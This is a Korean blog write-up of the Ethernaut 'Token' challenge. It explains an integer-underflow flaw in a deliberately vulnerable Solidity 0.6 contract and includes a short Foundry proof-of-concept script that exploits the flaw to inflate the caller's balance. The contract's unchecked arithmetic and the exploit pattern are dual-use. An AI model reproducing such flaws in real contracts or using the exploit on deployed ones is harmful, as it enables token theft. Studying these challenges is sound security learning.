The Ethernaut : Token

세인·2025년 12월 3일

solidity ^0.8.0 보다 이전 버전은 numeric error에 대한 검증을 안하는 것을 이용하는 문제

문제 코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

로직 정리

  1. 문제 목표 : 내 잔고를 늘려야 함
  2. transfer 함수를 호출하려면 balance보다 value가 작아야 하는데
  3. 이 value에 매우 큰 수를 입력해서 오버플로우를 내면 검사 우회가능
  4. 그러면 value가 언더플로우가 나서 (내 잔고에서 빼는 과정에서 언더플로우 > 엄청 큰 양수가 됨)
  5. 내가 그 엄청 큰 양수를 가진 사람이 됨

애초에 require(balances[msg.sender] - _value >= 0); 이거 검사하는거를 잘 보면

balance[msg.sender]의 자료형은 uint256인데

여기에서 빼기를 잘못해서 음수가 나오면 항상 언더플로우 떠서 엄청 큰 값이 되어버린다.

사실상 의미가 없는 검사

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import {Script, console} from "forge-std/Script.sol";
import {Token} from "../src/Token.sol";

contract PoC is Script {
    address public target = 0x7F266e70aC13f430501A00968ffC020b6c316Fa6;
    uint256 pk = vm.envUint("PRIV_KEY");

    function run() public {
        vm.startBroadcast(pk);
        Token(payable(target)).transfer(target, 10101010101);

        vm.stopBroadcast();
    }
}
profile
세종과학기지 세인지부

0개의 댓글